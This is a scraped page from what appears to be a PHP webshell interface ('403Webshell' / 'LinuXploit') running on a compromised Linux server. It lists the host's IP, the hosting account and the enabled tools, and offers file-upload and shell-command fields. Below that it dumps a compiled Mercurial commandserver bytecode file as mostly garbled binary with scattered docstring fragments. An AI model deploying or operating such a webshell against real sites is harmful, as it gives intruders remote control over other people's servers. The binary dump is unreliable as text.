403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mercurial/__pycache__/commandserver.cpython-313.pyc
�

6�h�]��B�SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
Jr SSKJ
r
JrJrJrJrJrJr SSKJrJr "SS5r"S	S
5r"SS5rS
S0rSr"SS5rSSjr"SS5rSr Sr!"SS5r""SS5r#g)�)�annotationsN�)�_)�encoding�error�loggingutil�pycompat�	repocache�util�vfs)�cborutil�procutilc�:�\rSrSrSrSr\S5rSrSr	Sr
g)	�channeledoutput�#zN
Write data to out in the following format:

data length (unsigned int),
data
c��XlX lg�N)�out�channel)�selfrrs   �9/usr/lib/python3/dist-packages/mercurial/commandserver.py�__init__�channeledoutput.__init__+s������c� �SUR-$�Ns<%c-channel>�r�rs r�name�channeledoutput.name/�������-�-rc	���U(dgURR[R"SUR[U55U-5 URR
5 g)N�>cI)r�write�struct�packr�len�flush)r�datas  rr$�channeledoutput.write3s@���������v�{�{�6�4�<�<��T��C�d�J�K������rc�P�US;a[U5e[URU5$�N)�isatty�fileno�tell�seek)�AttributeError�getattrr�r�attrs  r�__getattr__�channeledoutput.__getattr__:�'���7�7� ��&�&��t�x�x��&�&r)rrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�propertyrr$r5�__static_attributes__�rrrr#s*�����.��.��'rrc�.�\rSrSrSrSrSrSrSrSr	g)	�channeledmessage�@z�
Write encoded message and metadata to out in the following format:

data length (unsigned int),
encoded message and metadata, as a flat key-value dict.

Each message should have 'type' attribute. Messages of unknown type
should be ignored.
Tc�<�[X5UlX0lX@lgr)r�_coutr�	_encodefn)rrr�
encodename�encodefns     rr�channeledmessage.__init__Ns��$�S�2��
�"�
�!�rc��[R"U5nUbXS'URRUR	U55 g)Nsdata)r	�byteskwargsrDr$rE)rr)�optss   rr$�channeledmessage.writeSs:���#�#�D�)���� ��M��
�
�������-�.rc�.�[URU5$r)r2rDr3s  rr5�channeledmessage.__getattr__Ys���t�z�z�4�(�(r)rDrErN)
r8r9r:r;r<�
structuredrr$r5r>r?rrrArA@s����J�"�
/�)rrAc�b�\rSrSrSrSrSr\S5rSSjr	Sr
SSjrS	rS
r
\
rSrSrg
)�channeledinput�]a
Read data from in_.

Requests for input are written to out in the following format:
channel identifier - 'I' for plain input, 'L' line based (1 byte)
how many bytes to send at most (unsigned int),

The client replies with:
data length (unsigned int), 0 meaning EOF
data
ic�(�XlX lX0lgr)�in_rr)rrTrrs    rr�channeledinput.__init__ls�������rc� �SUR-$rrrs rr�channeledinput.nameqr!rc��US:aZURnURXR5nUnU(a(URXR5nX2-
nU(aM(U$URXR5$�Nr)�maxchunksize�_readr�r�size�s�bufs    r�read�channeledinput.readusj���!�8��$�$�D��
�
�4���.�A��C���J�J�t�\�\�2������!��J��:�:�d�L�L�1�1rc�f�U(dgUS:�deURR[R"SX!55 URR	5 UR
R
S5n[R"SU5SnU(dgUR
R
U5$)Nrrr#��>I)rr$r%r&r(rTr`�unpack)rr]r�lengths    rr[�channeledinput._read�s~�����a�x��x�	
�����v�{�{�6�7�9�:������������q�!�����u�f�-�a�0�����8�8�=�=��(�(rc��US:atURnURUS5nUnU(aKURS5(d5URUS5nX2-
nU(aURS5(dM5U$URUS5$)Nr�L�
)rZr[�endswithr\s    r�readline�channeledinput.readline�s~���!�8��$�$�D��
�
�4��&�A��C��A�J�J�u�-�-��J�J�t�T�*������A�J�J�u�-�-��J��:�:�d�D�)�)rc��U$rr?rs r�__iter__�channeledinput.__iter__�s���rc�@�UR5nU(d[eU$r)rl�
StopIteration)r�ls  r�next�channeledinput.next�s���M�M�O������rc�P�US;a[U5e[URU5$r,)r1r2rTr3s  rr5�channeledinput.__getattr__�r7r)rrTrN)���)r8r9r:r;r<rZrr=rr`r[rlrort�__next__r5r>r?rrrQrQ]sL��
��L��
�.��.�
2�)� 
*����H�'rrQscborc�L�SR[R"U55$�Nr)�joinr
�streamencode)�vs r�<lambda>r�s��s�x�x�� 5� 5�a� 8�9rc���URSS5nUH$n[RU5nU(dM!X#4s $ [R"SSRU5-5e)N�	cmdserversmessage-encodingss"no supported message encodings: %s� )�
configlist�_messageencoders�getr�Abortr|)�ui�encnames�n�fs    r�_selectmessageencoderr��s]���}�}�\�+?�@�H�
��� � ��#���1��4�K���+�+�-��	�	�(�0C�C��rc�b�\rSrSrSrSSjrSrSrSrSr	S	r
S
rSrSr
\\S
.rSrSrg)�server��za
Listens for commands on fin, runs them and writes the output on a channel
based stream to fout.
Nc��[R"5UlU(a)URUlX lURUlOXlS=UlUlXPl[US5Ul	[US5Ul
[US5Ul[X4S5Ul
[US5UlURRSS5S:Xa>URR!5Ul[#URSURS	9 SUlURS
S5S:Xa['U5upg[)US
Xg5UlX0lUR-SS5UlSUlUR.(d9[2R2"[2R4[2R65Ulgg)N�d�e�o�I�rr��log�-)�repo�fp�uismessage-outputschannel�msshutdown-on-interrupt)r�getcwd�cwd�baseuir�r��repoui�_prereposetupsr�cdebug�cerr�coutrQ�cin�cresult�config�copy�setuplogging�cmsgr�rA�client�
configbool�_shutdown_on_interrupt�_old_inthandler�signal�SIGINT�SIG_IGN)rr�r��fin�fout�
prereposetups�encname�encfns        rr�server.__init__�sU���?�?�$�����k�k�D�G��I��'�'�D�K��G�&*�*�D�I���+��%�d�D�1���#�D�$�/��	�#�D�$�/��	�!�#�T�2���&�t�T�2����7�7�>�>�,��/�4�7��g�g�l�l�n�D�G�����t����<���	�
�9�9�U�-�.�*�<�2�2�6�N�G�(��t�W�D�D�I���')�m�m��2�'
��#� $����*�*�#)�=�=�������#O�D� �+rc��UR(d0[R"[RUR5 gg)z9release and restore resources taken during server sessionN)r�r�r�r�rs r�cleanup�server.cleanup�s(���*�*��M�M�&�-�-��)=�)=�>�+rc�f�U(dgURRU5nU(d[eU$r{)r�r`�EOFError)rr]r)s   rr[�server._read�s+�����{�{����%����N��rc��[R"SURS55SnU(dgURU5$)zCread a string from the channel

format:
data length (uint32), data
rdrcrr)r%rer[)rrfs  r�_readstr�server._readstr	s6�����u�d�j�j��m�4�Q�7�����z�z�&�!�!rc�V�UR5nU(aURS5$/$)z6read a list of NULL separated strings from the channel�)r��split)rr^s  r�	_readlist�server._readlists#���M�M�O����7�7�5�>�!��Irc��SSKJn UR(aURU5$[R"[RUR
5 URU5[R"[R[R5 $![Ra e[a Of=f[R"[R[R5 O8![R"[R[R5 f=fURR[S55 g)Nr��dispatchs
interrupted!
rx)�r�r�r�r�r�r�r�SignalInterrupt�KeyboardInterruptr�r)r�reqr�s   r�_dispatchcommand�server._dispatchcommands�����&�&��$�$�S�)�)�
	9��M�M�&�-�-��)=�)=�>��$�$�S�)�
�M�M�&�-�-����8���$�$�	�� �	�

�	��

��M�M�&�-�-����8��F�M�M�&�-�-����8��	�����Q�(�)�*�s#�?B�B>�;C6�=B>�>C6�65D+c�F�SSKJn UR5nURR	5nU/nUR
(a�X0R
lURRUR5nURUlURU5 U=UR
lUR
RlUR
R5 UHDnUR5 [URS5(aM0UR!SSSS5 MF UR#USSUUR
URUR$UR&UR(UR*S	9nUR-U5S
-nUR.R1[2R4"S[7U555 SU;a![8R:"UR<5 gg!SU;a![8R:"UR<5 ff=f)
zareads a list of  terminated arguments, executes
and writes the return code to the result channelrr�r.r�snonttystrues
commandserverN�r��s>is--cwd)r�r�r�r�r�r�r�r��	__class__�append�dirstate�_ui�
invalidateall�
resetstate�hasattrr��	setconfig�requestr�r�r�r�r�r�r$r%r&�int�os�chdirr�)	rr��args�copiedui�uisr�r�r��rets	         r�
runcommand�server.runcommand6s���	��~�~����7�7�<�<�>���j���9�9�'�I�I���[�[�*�*�4�;�;�7�F�"�-�-�F�K��J�J�v��4:�:�D�I�I�L�4�9�9�-�-�1��I�I�#�#�%��B��M�M�O��4�8�8�X�.�.����U�I�w�8H�I�
������G���I�I��H�H��I�I��I�I��I�I��-�-��	
��		#��'�'��,�s�2�C�
�L�L���v�{�{�5�#�c�(�;�<��4��������"� ��x�4��������"� �s
�A
G7�7)H c�V�URR[R5 g)z1writes the current encoding to the result channelN)r�r$rrs r�getencoding�server.getencodinghs�������8�,�,�-rc��URR5SSnU(aQURRU5nU(a
U"U5 US:g$[R
"[
S5U-5eUS:g$)Nrxsunknown command %sr)r�rl�capabilitiesr�rr�r)r�cmd�handlers   r�serveone�server.serveonelsp���k�k�"�"�$�S�b�)����'�'�+�+�C�0�G����
��c�z���k�k�!�$9�":�S�"@�A�A��c�z�r)s
runcommandsgetencodingc�@�SSR[UR55-nUS-
nUS[R--
nUS-
nUR(aUSURR--
nUS[
R"5--
n[[S5(a!US-
nUS[R"S	5--
nURRU5 UR5(aUR5(aMg	![a g
f=f)Nscapabilities: r�rjs
encoding: smessage-encoding: %s
spid: %d�getpgidspgid: %drr)r|�sortedr�rr�r�getpidr�r�r�r�r$r�r�)r�hellomsgs  r�serve�server.serve{s���$�t�y�y���8I�8I�1J�'K�K���E����M�H�$5�$5�5�5���E����9�9��1�D�I�I�4F�4F�F�F�H��J����!2�2�2���2�y�!�!����H���b�j�j��m�3�3�H�	
�	�	����!�	��-�-�/�/���-�-�/�/����	��	�s�"+D�
D�D)r�r�r�r�r�r�r�r�r�r�r�r�r�r�r)r8r9r:r;r<rr�r[r�r�r�r�r�r�r�r�r>r?rrr�r��sH���
,P�\?�

�	"���40#�d.��$.�{�K�L�rr�c�(�URSS5nU(dg[URSS55nUS:XaU(a[R"X$5nO�US:Xa"[R"UR
U5nO�[R"[R"U55nURSS5nURSS5n[R"[RRU55n[R "U[RR#U5UUUS9nU1n	U(a6U	R%UR&5 U	R%UR(5 U	Hn
U
R+SU5 M g)	z�Set up server logging facility

If cmdserver.log is '-', log messages will be sent to the given fp.
It should be the 'd' channel while a client is connected, and otherwise
is the stderr of the server process.
r�r�Ns	track-logr�s
max-log-filessmax-log-size)�maxfiles�maxsize)r��setr�r�fileobjectlogger�ferrr�abspath�
expandpath�	configint�configbytes�vfsmodrr��path�dirname�
filelogger�basename�addr�r��	setlogger)r�r�r��logpath�tracked�loggerr�r�r�	targetuis�us           rr�r��s*���i�i��f�-�G����"�-�-��l�;�<�G��$��2��-�-�b�:��	�D���-�-�b�g�g�w�?���,�,�t���w�7�8���<�<��.>�?���.�.���?���j�j�������1�2���'�'���G�G���W�%����
����I���
�
�d�k�k�"��
�
�d�g�g��
��	���L�&�)�rc�&�\rSrSrSrSrSrSrg)�pipeservicei�c��XlX lgr)r�r�)rr�r�rKs    rr�pipeservice.__init__�s�����	rc��grr?rs r�init�pipeservice.init�s��rc��URnUR5up#[XRX#5nUR	5UR5 sSSS5 $!UR5 f=f!,(df   g=fr)r��protectedfinoutr�r�r�r�)rr�r�r��svs     r�run�pipeservice.run�sb��
�W�W���
�
�
!�[�c���I�I�s�1�B�
��x�x�z��
�
��"�
!��
�
�
���"�
!�s"�A5�A �A5� A2�2A5�5
B)r�r�N)r8r9r:r;rr
rr>r?rrr	r	�s���
�	rr	c�\�[R"SS5 [R"5 grY)r��setpgid�random�seedr?rr�_initworkerprocessr�s���J�J�q�!���K�K�Mrc��URS5nURS5nSnU"XXVU5nUR5 UR5 UR!5 UR!5 g![Ra1nUR[	S5UR
-5 SnANsSnAf[a N�[a N�f=f!UR5 f=f! U(a
URn	O[US5n	U	R[R"[R"555 e=f![a gf=f!UR!5 UR!5 f![a ff=f=f)N�rb�wbs
abort: %s
r�)�makefiler�rr�r�message�BrokenPipeErrorr�r�r�rr$r�
strtolocal�	traceback�
format_exc�close)
r�r��conn�createcmdserverr�r�r�r�instr�s
          r�
_serverequestr&�s>��
�-�-��
�C��=�=���D�	
�B��
�T��M�
B��	��H�H�J�
�J�J�L�	�	�	��	��J�J�L��)�{�{�	7��H�H�Q�~�&����5�6�6���	�� �	��	��
�J�J�L�����7�7�D�"�4��.�D��
�
�8�&�&�y�';�';�'=�>�?�
��
�	��	��	�	�	��	��J�J�L���	��	�s��
C'�A4�C'�#E�4C�'B4�/C�4
C�C�	C�C�C�C�C$�$C'�'AE�E�
E�E�F�'E8�7F�8
F�F�F�Fc�@�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�unixservicehandleriz�Set of pluggable operations for unix-mode services

Almost all methods except for createcmdserver() are called in the main
process. You can't pass mutable resource back from createcmdserver().
Nc��Xlgr�r�)rr�s  rr�unixservicehandler.__init__s���rc���[R"X5 UR[R5 UR
R
[S5U-5 UR
R5 g)Nslistening at %s
)	r�bindunixsocket�listen�socket�	SOMAXCONNr��statusrr()r�sock�addresss   r�
bindsocket�unixservicehandler.bindsocketsJ�����D�*����F�$�$�%������q�-�.��8�9����
�
�rc�0�[R"U5 gr)r��unlink)rr3s  r�unlinksocket�unixservicehandler.unlinksockets��
�	�	�'�rc��g)z9True if server should shut down; checked per pollintervalFr?rs r�
shouldexit�unixservicehandler.shouldexits��rc��g)z/Called when main process notices new connectionNr?rs r�
newconnection� unixservicehandler.newconnection s�rc�0�[URXXE5$)z`Create new command server instance; called in the process that
serves for the current connection)r�r�)rr�r#r�r�r�s      rr$�"unixservicehandler.createcmdserver#s���d�g�g�t�$�>�>rr*)
r8r9r:r;r<�pollintervalrr4r8r;r>r$r>r?rrr(r(s,����L�����>�?rr(c�d�\rSrSrSrSSjrSrSrSrSr	S	r
S
rSrSr
S
rSrSrSrg)�unixforkingservicei)z?
Listens on unix domain socket and forks server per connection
Nc��XlX lUSUl[[S5(d[
R"[S55eUR(d[
R"[S55eU=(d [U5Ul	SUl
SUlSUlSUl
[5UlSUlUR#SS5nUS:a[
R"[S55e[$R&"X5Ul[*R,(a[.R0"5 gg)	Nsaddress�AF_UNIXsunsupported platforms'no socket path specified with --addressr�smax-repo-cachers(negative max-repo-cache size not allowed)r�r�r3r�r/rr�rr(�_servicehandler�_sock�_mainipc�
_workeripc�_oldsigchldhandlerr��_workerpids�_socketunlinkedr�r
�
repoloader�_repoloaderr	�isdarwinr�gui)rr�r�rKr��maxlens      rr�unixforkingservice.__init__.s������	��J�'����v�y�)�)��+�+�a� 7�8�9�9��|�|��+�+�a� J�K�L�L�&�@�*<�R�*@�����
���
����"&����5���#������l�,=�>���A�:��+�+�a� K�L�M�M�$�/�/��;�������L�L�N�rc�X�[R"[R5Ul[R"[R[R5nUuUlUlURRURUR5 [[S5(a$[R"[R5 [R"[RUR5nXlSUlUR$R'5 g)N�
unblocksignalF)r/rFrH�
socketpair�
SOCK_DGRAMrIrJrGr4r3r�rrUr��SIGCHLD�_sigchldhandlerrKrMrO�start)r�os  rr
�unixforkingservice.initGs����]�]�6�>�>�2��
�
���f�n�n�f�.?�.?�@��)*�&��
�t�����'�'��
�
�D�L�L�A��8�_�-�-��"�"�6�>�>�2��M�M�&�.�.�$�*>�*>�?��"#��$�������� rc��UR(d-URRUR5 SUlgg)NT)rMrGr8r3rs r�
_unlinksocket� unixforkingservice._unlinksocketVs0���#�#�� � �-�-�d�l�l�;�#'�D� �$rc�t�[R"[RUR5 URR	5 UR
R	5 URR	5 UR5 URR5 URS5 grY)r�rXrKrHr"rIrJr^rO�stop�_reapworkersrs r�_cleanup�unixforkingservice._cleanup[sv���
�
�f�n�n�d�&=�&=�>��
�
�����
�
�����������������������!�rc�p�UR5 UR5 g!UR5 f=fr)�	_mainlooprcrs rr�unixforkingservice.runes$��	��N�N���M�M�O��D�M�M�O�s�#�5c�B�SnURn[R"5nURUR[R
UR5 URUR[R
UR5 U(d'UR5(aUR5 SnURURS9nU(d
U(aO+MYUH!upVURURU5 M# M�UR5 g)NFT)�timeout)rG�	selectors�DefaultSelector�registerrH�
EVENT_READ�_acceptnewconnectionrI�_handlemainipcr;r^�selectrBr)�fileobjr")r�exiting�h�selector�events�key�_masks       rrf�unixforkingservice._mainloopks������ � ���,�,�.������J�J�	�,�,�d�.G�.G�	
�	����M�M�9�/�/��1D�1D�	
���q�|�|�~�~��"�"�$����_�_�Q�^�^�_�<�F�����$�
��������h�/�%��"	���rc��URnUR5upE[R"5nU(aZURRSSU5 URRU5 UR5 UR5 gUR5 UR5 URR5 URU5 UR5 URR5 [R"S5 g!UR5 f=f! URRSS9 [R"S5 g![R"S5 f=f=f)Nr�sforked worker process (pid=%d)
rT)�forcer�)rG�acceptr��forkr��logrLrr>r"rI�
_runworkerrJ�_exitr )rr2rtrsr#�_addr�pids       rrn�'unixforkingservice._acceptnewconnection�s��� � ���k�k�m����g�g�i���
������ �"E�s��� � �$�$�S�)����!��
�
��
"���� ��
�
���
�
�#�#�%�����%��
�
�����%�%�'��������
�
���
"�"��G�G�%�%�D�%�1��H�H�S�M��B�H�H�S�M�s1�AD"�BD7�"D4�7F�:E+�F�+F�Fc�\�URS5nURRU5 g)z#Process messages sent from a workeri�N)�recvrO�load)rr2rtr�s    rro�!unixforkingservice._handlemainipc�s$���y�y���������d�#rc�B�UR[R5 gr)rbr��WNOHANG)rr��frames   rrY�"unixforkingservice._sigchldhandler�s�����"�*�*�%rc�T�UR(am[R"SU5up#US:XagUR
R
SSU5 URRU5 UR(aMlgg![a URR	5 gf=f)Nrxrr�sworker process exited (pid=%d)
)rLr��waitpid�ChildProcessError�clearr�r}�discard)r�optionsr��_statuss    rrb�unixforkingservice._reapworkers�s������
�!�z�z�"�g�6���
�a�x���G�G�K�K��&I�3�O����$�$�S�)������%�
�� � �&�&�(��
�s�B�$B'�&B'c�Z�[R"[RUR5 [5 URn[URURUURUR/S9 [R"5 g![R"5 f=f)Nr�)r�rXrKrrGr&r�r�r$�
_reposetup�gc�collect)rr#rss   rr~�unixforkingservice._runworker�sq���
�
�f�n�n�d�&=�&=�>���� � ��		������	�	���!�!�#���/�
�
�J�J�L��B�J�J�L�s�6B�B*c�T�UR5(dg"SSUR5nX2lURUlURRUR5nUcgURRSSUR5 [R"XB5 g)Nc�(^�\rSrSrU4SjrSrU=r$)�8unixforkingservice._reposetup.<locals>.unixcmdserverrepoi�c��>�[TU]5 URRUR5 g![
a URRSS5 gf=f)Nr�s#failed to send repo root to master
)�superr"�
_cmdserveripc�send�root�OSErrorr�r})rr�s �rr"�>unixforkingservice._reposetup.<locals>.unixcmdserverrepo.close�sN�����
����&�&�+�+�D�I�I�6�����G�G�K�K�$�&M���s�%7�&A �A r?)r8r9r:r;r"r>�
__classcell__)r�s@r�unixcmdserverrepor��s
���
�
rr�s	repocachesrepo from cache: %s
)�localr�rJr�rOr�r�r�r}r
�	copycache)rr�r�r��
cachedrepos     rr��unixforkingservice._reposetup�s}���z�z�|�|��	����	�+��!�_�_����%�%�)�)�$�)�)�4�
���������L�":�D�I�I�F����J�-r)rIrKrOrGrHrMrJrLr3r�r�r)r8r9r:r;r<rr
r^rcrrfrnrorYrbr~r�r>r?rrrDrD)sD����2
!�(�
���:"�B$�
&�*�
�.rrD)NN)$�
__future__rr�r�rrjr�r/r%r �i18nrr�rrrr	r
rrr��utilsr
rrrArQr�r�r�r�r	rr&r(rDr?rr�<module>r�s���#�	�	�
��
�
�
�������'�'�:)�)�:T'�T'�p�
9���
�N�N�b&*�R��(�$ �F?�?�Dz.�z.r

Youez - 2016 - github.com/yon3zu
LinuXploit